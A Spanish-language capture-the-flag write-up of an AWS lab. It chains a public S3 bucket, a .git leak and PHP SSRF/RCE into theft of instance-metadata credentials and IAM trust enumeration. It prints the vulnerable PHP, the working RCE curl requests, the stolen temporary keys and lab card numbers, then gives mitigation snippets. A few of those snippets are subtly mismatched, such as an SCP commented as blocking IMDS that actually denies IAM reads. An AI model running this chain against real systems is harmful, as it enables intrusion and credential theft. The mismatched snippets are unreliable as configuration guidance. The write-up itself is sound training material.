← Writeups

AWS Cloud Red Teaming — CWL Meta Tech Assessment

Cadena de ataque completa contra infraestructura AWS: bucket S3 público → fuga de .git → SSRF+RCE en PHP → robo de credenciales IMDSv1 → enumeración IAM y descubrimiento de confianza cross-account. Con guardrails de mitigación (SCP, IAM, detección).

AWS Cloud Red Teaming — CWL Meta Tech Assessment

Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment (Módulo AWS) Plataforma: CyberWarFare Labs Objetivo: identificar y explotar misconfiguraciones en la infraestructura AWS de CWL Meta Tech Corporation.


1. Executive Summary & Attack Surface

La infraestructura de CWL Meta Tech presenta cinco fallas de diseño encadenables que permiten pasar de cero credenciales a credenciales temporales de un rol IAM con acceso de lectura a toda la configuración de identidad, y de ahí al descubrimiento de una relación de confianza cross-account. No hay un único "punto crítico": hay una superficie de entrada sin costo (bucket público) que alimenta una cadena de escalamiento.

Cadena de ataque

Cadena de ataque AWS de CWL Meta Tech Cadena de ataque desde un bucket S3 público, pasando por la fuga de .git, la explotación de SSRF y RCE en process.php, el robo de credenciales vía IMDSv1 y la enumeración IAM hasta roles con confianza cross-account. RECON · OSINT APPLICATION POST-EXPLOIT · IAM BRUTE NAMES GIT DUMPER SRC LEAK RCE · CURL META · TOKEN STS IDENTITY ASSUME ROLE OSINT cloud_enum brute · s3 names STORE S3 bucket cwl-metatech-prod LEAK .git exposed git-dumper APP process.php SSRF + RCE CLOUD IMDSv1 169.254.169.254 IAM ec2-role temporal creds IAM IAM enum get-role / groups TRUST cross-account 058264439561 LEGEND Focal Store Externo Input Backend Flujo ataque
Fig. 1 — Superficie de entrada sin credenciales: S3 público → fuga de fuente → SSRF+RCE → IMDSv1 → identidad IAM.

Superficie de ataque

Vector Detalle Credenciales requeridas
S3 bucket público cwl-metatech-prod legible con --no-sign-request Ninguna
Fuga de repositorio .git Directorio servido por el web server de la VM dev Ninguna
SSRF + RCE process.php ejecuta file_get_contents($_POST['ip']) y system($_POST['organization']) Ninguna
IMDSv1 169.254.169.254 accesible sin token de sesión Ninguna (vía RCE)
Identidad objetivo ec2-role → permisos de enumeración IAM Credenciales temporales

Initial access: el bucket público es la puerta; la fuga de .git es la palanca que entrega el código fuente de la aplicación web vulnerable. Sin el código, el SSRF+RCE habría requerido fuzzing; con él, la explotación es directa.


2. Privilege Escalation & Lateral Movement Path

2.1 Flag 1 — OSINT: enumeración de buckets

Fuerza bruta de naming permutations sobre la keyword de la organización:

git clone https://github.com/initstring/cloud_enum.git
pip3 install -r cloud_enum/requirements.txt
python3 cloud_enum/cloud_enum.py -k cwl-metatech --disable-azure --disable-gcp
OPEN S3 BUCKET: http://cwl-metatech-prod.s3.amazonaws.com/
  FILES:
  -> http://cwl-metatech-prod.s3.amazonaws.com/dev-server-ip.txt
  -> http://cwl-metatech-prod.s3.amazonaws.com/prod-data.txt
  -> http://cwl-metatech-prod.s3.amazonaws.com/staging-data.txt

prod-data.txt expone datos de clientes en claro (PII financiera) — prueba de impacto, no solo de config:

aws s3 cp s3://cwl-metatech-prod/prod-data.txt - --no-sign-request
User    Company     Credit Card Number   Expiry Date
Alex    Amex        374245455400126      05/2026
Bob     Cabal1      6271701225979642     03/2026
Lisa    Cencosud1   6034932528973614     06/2026
David   China Union 6250941006528599     06/2026

Flags 1 y 10: http://cwl-metatech-prod.s3.amazonaws.com/ · 6271701225979642

2.2 Flag 2 — del bucket a la app: fuga de .git

El bucket entrega la IP del dev server (18.222.161.152). El dump del repositorio permite leer el código completo:

pip3 install git-dumper
git-dumper http://18.222.161.152/.git /tmp/gitdump

process.php — el doble primitivo SSRF + RCE:

<?php
// SSRF Vulnerability
$ip = $_POST['ip'];
$content = file_get_contents($ip);

// RCE Vulnerability
$org = $_POST['organization'];
$org_output = system($org);

echo $org_output, $content;
?>

El parámetro ip se pasa sin validación a file_get_contents() — SSRF clásico. organization se ejecuta directo en system() — RCE. La lectura de código hace que ambos sean explotables de inmediato y sin fuzzing.

Flag 2: ip

2.3 Flags 3 — pivote a la identidad: IMDSv1

Con la RCE se consulta el Instance Metadata Service. IMDSv1 no exige header X-aws-ec2-metadata-token: una petición simple al link-local 169.254.169.254 devuelve el rol asociado a la instancia.

curl -s -X POST "http://18.222.161.152/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/'
ec2-role

Extracción de credenciales temporales y validación de identidad:

curl -s -X POST "http://18.222.161.152/process.php" \
  -d "url=x&date=2024-01-01&ip=x" \
  --data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role'
{
  "Code": "Success",
  "AccessKeyId": "ASIATQGVY3V5ZIVFIUEQ",
  "SecretAccessKey": "VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0",
  "Token": "IQoJb3JpZ2lu...",
  "Expiration": "2026-07-28T01:34:03Z"
}
export AWS_ACCESS_KEY_ID=ASIATQGVY3V5ZIVFIUEQ
export AWS_SECRET_ACCESS_KEY=VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0
export AWS_SESSION_TOKEN=IQoJb3JpZ2lu...
aws sts get-caller-identity
Account: 240966491515
Arn:     arn:aws:sts::240966491515:assumed-role/ec2-role/i-0c95b6744d7501b40

Flag 3: ec2-role

Nota de detección: la cadena 18.222.161.152/process.php → 169.254.169.254 es el fingerprint clásico de IMDSv1 credential theft. En la sección 3 se listan los indicadores de detección.

2.4 Flags 4–9 — Post-explotación IAM

El rol asumido tiene permisos de lectura amplia sobre IAM. La enumeración revela la topología de identidad completa:

aws iam get-group --group-name interns                    # → int001
aws iam list-groups-for-user --user-name emp003           # → employees
aws iam get-role --role-name crossaccount-role
aws iam get-role --role-name dev-role
aws iam list-user-policies --user-name emp001             # → s3-administrator-Policy
aws iam list-attached-group-policies --group-name employees

Los dos roles con trust policy son el hallazgo de mayor valor:

// crossaccount-role — confianza desde OTRA cuenta
{
    "AssumeRolePolicyDocument": {
        "Statement": [{
            "Principal": { "AWS": "arn:aws:iam::058264439561:user/manager" },
            "Action": "sts:AssumeRole"
        }]
    }
}
// dev-role — confianza desde devops-role (misma cuenta)
{
    "AssumeRolePolicyDocument": {
        "Statement": [{
            "Principal": { "AWS": "arn:aws:iam::240966491515:role/devops-role" },
            "Action": "sts:AssumeRole"
        }]
    }
}

2.5 Mapa de confianza IAM

Topología de confianza IAM descubierta La identidad ec2-role asumida vía IMDS permite enumerar grupos interns y employees, sus usuarios, y dos roles con trust policies: cross-account-role confiando en manager de otra cuenta, y dev-role confiando en devops-role. IAM ec2-role assumed · IMDSv1 GRP interns group GRP employees DevOpsGuruFullAccess ROLE crossaccount-role manager@058264439561 ROLE dev-role devops-role trust USR int001 member USR emp001 inline: s3-admin USR emp003 member LEGEND Focal (asumido) Grupo Role / trust Usuario
Fig. 2 — Topología de identidad: la confianza cross-account (`058264439561:user/manager`) es el activo lateral.

La lectura de las trust policies revela el camino de lateral movement entre cuentas: el user/manager de la cuenta 058264439561 puede asumir crossaccount-role en la cuenta comprometida. La enumeración de estos metadatos es posible porque ec2-role tiene permisos IAM de lectura sin razón de negocio.

Flags 4–9: int001 · employees · 058264439561 · dev-role · s3-administrator-Policy · arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess

2.6 Resumen de flags

# Pregunta Respuesta
1 Full URL del S3 bucket http://cwl-metatech-prod.s3.amazonaws.com/
2 Parámetro SSRF ip
3 Role IAM del EC2 ec2-role
4 Usuario en "interns" int001
5 Grupo de "emp003" employees
6 Account ID (crossaccount-role) 058264439561
7 Role asumible por devops-role dev-role
8 Inline policy de emp001 s3-administrator-Policy
9 ARN policy de employees arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess
10 CC de Bob 6271701225979642

3. Mitigation & Cloud Guardrails

3.1 Guardrails por capa

S3 — cerrar el acceso anónimo:

# Account-level guardrail
aws s3control put-public-access-block --account-id 240966491515 \
  --public-access-block-configuration \
  BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true

Complemento con bucket policy explícita (defensa en profundidad):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::cwl-metatech-prod/*",
      "Condition": {
        "StringNotEquals": { "aws:PrincipalType": "Account" }
      }
    }
  ]
}

Web server — eliminar la fuga de .git y las funciones peligrosas:

# nginx: bloquear rutas sensibles del repo
location ~ /\.(git|env|aws|htaccess) {
    deny all;
    return 403;
}
<?php
// PHP: deshabilitar funciones de ejecución si no se usan
ini_set('disable_functions', 'system,exec,passthru,shell_exec,popen,proc_open');
// SSRF: nunca pasar input de usuario a un wrapper HTTP
$ip = filter_var($_POST['ip'], FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($ip === false) { http_response_code(400); exit; }
$content = file_get_contents('http://' . $ip . ':80/health');

El filtro FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE bloquea link-local (169.254.0.0/16), ranges privados y loopback — el SSRF no alcanza el metadata service. Nunca basarse solo en él: el SSRF también se abusa con DNS rebinding y redirecciones, así que el endpoint de fetch debe usar un allowlist de destinos, no un blocklist.

IAM — mínimo privilegio y revisión de trust policies:

// SCP de guardrail (Organizations): bloquear acceso a metadata IMDS para roles de app
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Action": "iam:GetRole,iam:ListUsers,iam:ListGroups,iam:GetPolicyVersion",
      "Resource": "*"
    }
  ]
}
// Trust policy endurecida — agregar ExternalId y acotar el principal
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": { "AWS": "arn:aws:iam::058264439561:root" },
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": { "sts:ExternalId": "CWL-META-TECH-2026" },
        "StringLike": { "aws:SourceArn": "arn:aws:iam::058264439561:user/manager" }
      }
    }
  ]
}

IMDS — forzar v2 y límite de saltos (el cambio de mayor impacto para cerrar el vector de la Flag 3):

aws ec2 modify-instance-metadata-options \
  --instance-id i-0c95b6744d7501b40 \
  --http-tokens required --http-endpoint enabled --http-put-response-hop-limit 1

Con --http-tokens required, el metadata service exige X-aws-ec2-metadata-token (sesión PUT de 6h) y las respuestas sin token dan 401. El hop-limit 1 impide que contenedores o procesos saltados reenvíen la petición. Un SSRF vía file_get_contents (sin PUT) deja de poder leer credenciales.

3.2 Matriz finding → guardrail → detección

Finding Guardrail Señal de detección (CloudTrail/GuardDuty/VPC)
S3 público con PII Block Public Access + bucket policy Deny GuardDuty Policy:S3/BucketPublicAccessGranted; cost alarm por GET anónimos
.git expuesto deny all en nginx para ~/.git Picos de GET /.git/config y GET /.git/HEAD (VPC Flow Logs + WAF)
SSRF+RCE en process.php Validación de input + disable_functions cloudtrail:GetCallerIdentity y iam:GetRole anómalos desde una IP de instancia
IMDSv1 credential theft --http-tokens required + hop-limit 1 Peticiones a 169.254.169.254 sin token (monitoreo de host); credenciales con AccessKeyId ASIA* usadas fuera de la instancia (CloudTrail userAgent/sourceIP mismatch)
Trust cross-account sin ExternalId ExternalId + aws:SourceArn en trust policy sts:AssumeRole desde la cuenta externa con sourceIP anómala

3.3 Orden de prioridad de remediación

  1. IMDSv2 + hop-limit 1 — cierra el robo de credenciales, el pivot más grave.
  2. Block Public Access en S3 — elimina la superficie de entrada sin credenciales.
  3. disable_functions + validación de ip/organization — neutraliza SSRF+RCE en origen.
  4. Bloquear /.git — corta la entrega de código fuente.
  5. Auditar trust policies (ExternalId + SourceArn) y mínimo privilegio IAM — reduce el radio del post-explotación.